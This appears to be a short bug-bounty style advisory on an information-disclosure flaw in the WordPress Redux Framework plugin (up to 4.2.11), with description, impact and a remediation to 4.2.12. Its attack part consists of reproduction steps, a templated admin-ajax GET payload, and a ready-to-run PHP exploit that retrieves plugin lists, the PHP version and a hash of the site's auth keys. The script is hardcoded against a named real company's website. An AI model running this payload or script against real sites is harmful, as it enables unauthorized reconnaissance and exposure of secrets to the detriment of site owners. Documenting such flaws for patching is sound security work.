Description
The WordPress Redux Framework plugin (versions up to 4.2.11) is vulnerable to information disclosure due to improperly secured AJAX actions. These actions, defined in redux-core/class-redux-core.php
, are accessible to unauthenticated users and are generated using predictable MD5 hashes of the site URL with known salt values (-redux
and -support
).
An attacker can exploit this vulnerability to retrieve:
- A list of active plugins and their versions
- The site's PHP version
- An unsalted MD5 hash of the site's
AUTH_KEY
concatenated withSECURE_AUTH_KEY
This vulnerability could assist attackers in reconnaissance or further exploitation of the affected WordPress site.
Impact
An attacker can exploit this vulnerability to gain sensitive information from the target system, which may lead to further exploitation.
Remediation
Update WordPress Redux Framework to version 4.2.12 or later to mitigate this vulnerability.
Steps to Reproduce
- Identify a WordPress website using the Redux Framework plugin (version <= 4.2.11).
- Compute the MD5 hash of the target site's URL concatenated with
-redux
. - Send a request to
/wp-admin/admin-ajax.php?action={MD5_HASH}
. - If successful, the response will contain sensitive information such as installed plugins, PHP version, and authentication keys.
Payloads
GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1
Host: target.com
Accept: */*
Exploit Code
<?php
$target = "https://groww.in";
$key1 = md5("$target/-redux");
$key2 = file_get_contents("$target/wp-admin/admin-ajax.php?action=$key1");
$key3 = md5($key2.'-support');
$redux_code = file_get_contents("http://verify.redux.io/?hash=$key3&site=$target/");
echo file_get_contents("$target/wp-admin/admin-ajax.php?action=$key3&code=$redux_code");?>
POC Video
Thanks for reading! If you found this useful, feel free to share it with your fellow hunters. Happy hacking!